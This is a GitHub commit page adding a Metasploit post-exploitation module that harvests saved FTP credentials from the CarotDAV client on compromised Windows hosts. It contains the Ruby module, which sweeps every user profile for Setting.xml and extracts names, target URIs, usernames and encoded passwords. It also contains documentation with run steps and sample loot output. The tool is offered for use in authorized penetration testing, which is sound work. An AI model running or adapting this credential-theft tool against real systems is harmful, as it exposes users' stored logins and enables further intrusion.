Skip to content

Commit f8c69e4

Browse files
bwatters-r7bwatters-r7
committed
Land rapid7#19173, Add CarotDAV FTP PackRat module
Merge branch 'land-19173' into upstream-master
2 parents 9375102 + b4d02ff commit f8c69e4

File tree

2 files changed

+198
-0
lines changed

2 files changed

+198
-0
lines changed

‎documentation/modules/post/windows/gather/credentials/carotdav_ftp.md

Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
## Vulnerable Application
2+
3+
This post-exploitation module extracts clear text credentials from the CarotDAV ftp Client.
4+
5+
The CarotDAV FTP Client is avaialble from (https://rei.to/carotdav_en.html).
6+
7+
This module extracts information from the Setting file in the "AppData\Roaming\Rei Software\CarotDAV" directory.
8+
9+
This module extracts server information such as connection name, target URI, username and password.
10+
11+
12+
## Verification Steps
13+
14+
1. Start MSF console
15+
2. Get a Meterpreter session on a Windows system
16+
3. use post/windows/gather/credentials/carotdav_ftp
17+
4. Set SESSION 1
18+
5. enter 'run' to extract credentials from all applications
19+
20+
21+
## Options
22+
### VERBOSE
23+
24+
By default verbose is turned off. When turned on, the module will show information on files
25+
which aren't extracted and information that is not directly related to the artifact output.
26+
27+
28+
### STORE_LOOT
29+
This option is turned on by default and saves the stolen artifacts/files on the local machine,
30+
this is required for also extracting credentials from files using regexp, JSON, XML, and SQLite queries.
31+
32+
33+
### EXTRACT_DATA
34+
This option is turned on by default and will perform the data extraction using the predefined
35+
regular expression. The 'Store loot' options must be turned on in order for this to take work.
36+
37+
## Scenarios
38+
### CarotDAV FTP v1.16.3 on Microsoft Windows 10 Home 10.0.19045 N/A Build 19045 - Default Output
39+
```
40+
msf6 post(windows/gather/credentials/carotdav_ftp) > run
41+
42+
[*] Filtering based on these selections:
43+
[*] ARTIFACTS: All
44+
[*] STORE_LOOT: true
45+
[*] EXTRACT_DATA: true
46+
47+
[*] Carotdav's Setting file found
48+
[*] Downloading C:\Users\test\AppData\Roaming\Rei Software\CarotDAV\Setting.xml
49+
[*] Carotdav Setting.xml downloaded
50+
[+] File saved to: /home/kali/.msf4/loot/20240508103946_default_10.0.0.2_CarotDAVSetting._341142.xml
51+
52+
[+] <Name>TheTestBed</Name>
53+
[+] <Name>Aperture Testing Laboratories</Name>
54+
[+] <TargetUri>ftp://10.0.0.2/</TargetUri>
55+
[+] <TargetUri>ftp://10.0.0.3/</TargetUri>
56+
[+] <UserName>TestBed\TheTester</UserName>
57+
[+] <UserName>TestBed\TheBackupTester</UserName>
58+
[+] <Password>dABpAGEAcwBwAGIAaQBxAGUAMgByAA==</Password>
59+
[+] <Password>dABpAGEAcwBwAGIAaQBxAGUAMgByAA==</Password>
60+
[+] File with data saved: /home/kali/.msf4/loot/20240508103947_default_10.0.0.2_EXTRACTIONSSetti_673514.xml
61+
[*] PackRat credential sweep Completed
62+
[*] Post module execution completed
63+
64+
```
65+
66+
### CarotDAV FTP v1.16.3 on Microsoft Windows 10 Home 10.0.19045 N/A Build 19045 - Verbose Output
67+
```
68+
msf6 post(windows/gather/credentials/carotdav_ftp) > run
69+
70+
[*] Filtering based on these selections:
71+
[*] ARTIFACTS: All
72+
[*] STORE_LOOT: true
73+
[*] EXTRACT_DATA: true
74+
75+
[*] Starting Packrat...
76+
[-] Carotdav's base folder not found in users's user directory
77+
78+
[*] Starting Packrat...
79+
[*] Carotdav's base folder found
80+
[*] Found the folder containing specified artifact for Setting.
81+
[*] Carotdav's Setting file found
82+
[*] Processing C:\Users\test\AppData\Roaming\Rei Software\CarotDAV
83+
[*] Downloading C:\Users\test\AppData\Roaming\Rei Software\CarotDAV\Setting.xml
84+
[*] Carotdav Setting.xml downloaded
85+
[+] File saved to: /home/kali/.msf4/loot/20240508103903_default_10.0.0.2_CarotDAVSetting._292914.xml
86+
87+
[*] Searches for credentials (USERNAMES/PASSWORDS)
88+
[+] <Name>TheTestBed</Name>
89+
[*] Searches for credentials (USERNAMES/PASSWORDS)
90+
[+] <Name>Aperture Testing Laboratories</Name>
91+
[*] Searches for credentials (USERNAMES/PASSWORDS)
92+
[+] <TargetUri>ftp://10.0.0.2/</TargetUri>
93+
[*] Searches for credentials (USERNAMES/PASSWORDS)
94+
[+] <TargetUri>ftp://10.0.0.3/</TargetUri>
95+
[*] Searches for credentials (USERNAMES/PASSWORDS)
96+
[+] <UserName>TestBed\TheTester</UserName>
97+
[*] Searches for credentials (USERNAMES/PASSWORDS)
98+
[+] <UserName>TestBed\TheBackupTester</UserName>
99+
[*] Searches for credentials (USERNAMES/PASSWORDS)
100+
[+] <Password>dABpAGEAcwBwAGIAaQBxAGUAMgByAA==</Password>
101+
[*] Searches for credentials (USERNAMES/PASSWORDS)
102+
[+] <Password>dABpAGEAcwBwAGIAaQBxAGUAMgByAA==</Password>
103+
[+] File with data saved: /home/kali/.msf4/loot/20240508103903_default_10.0.0.2_EXTRACTIONSSetti_754664.xml
104+
[*] PackRat credential sweep Completed
105+
[*] Post module execution completed
106+
107+
```

‎modules/post/windows/gather/credentials/carotdav_ftp.rb

Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Post
7+
# this associative array defines the artifacts known to PackRat
8+
include Msf::Post::File
9+
include Msf::Post::Windows::UserProfiles
10+
include Msf::Post::Windows::Packrat
11+
ARTIFACTS =
12+
{
13+
application: 'CarotDAV',
14+
app_category: 'FTP',
15+
gatherable_artifacts: [
16+
{
17+
filetypes: 'logins',
18+
path: 'AppData',
19+
dir: 'Rei Software',
20+
artifact_file_name: 'Setting',
21+
description: 'Saved Bookmarks',
22+
credential_type: 'xml',
23+
xml_search: [
24+
{
25+
extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
26+
extraction_type: 'credentials',
27+
xml: [
28+
'//Name',
29+
'//TargetUri',
30+
'//UserName',
31+
'//Password'
32+
]
33+
}
34+
]
35+
}
36+
]
37+
}.freeze
38+
39+
def initialize(info = {})
40+
super(
41+
update_info(
42+
info,
43+
'Name' => 'CarotDAV credential gatherer',
44+
'Description' => %q{
45+
PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.
46+
PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.
47+
Further details can be found in the module documentation.
48+
This is a module that searches for credentials stored on CarotDAV FTP Client in a windows remote host.
49+
},
50+
'License' => MSF_LICENSE,
51+
'Author' => [
52+
'Jacob Tierney',
53+
'Kazuyoshi Maruta',
54+
'Daniel Hallsworth',
55+
'Barwar Salim M',
56+
'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org
57+
],
58+
'Platform' => ['win'],
59+
'SessionTypes' => ['meterpreter'],
60+
'Notes' => {
61+
'Stability' => [CRASH_SAFE],
62+
'Reliability' => [],
63+
'SideEffects' => []
64+
}
65+
)
66+
)
67+
68+
register_options(
69+
[
70+
OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),
71+
OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
72+
# enumerates the options based on the artifacts that are defined below
73+
OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])
74+
]
75+
)
76+
end
77+
78+
def run
79+
print_status('Filtering based on these selections: ')
80+
print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
81+
print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
82+
print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")
83+
84+
# used to grab files for each user on the remote host
85+
grab_user_profiles.each do |userprofile|
86+
run_packrat(userprofile, ARTIFACTS)
87+
end
88+
89+
print_status 'PackRat credential sweep Completed'
90+
end
91+
end

0 commit comments

Comments
 (0)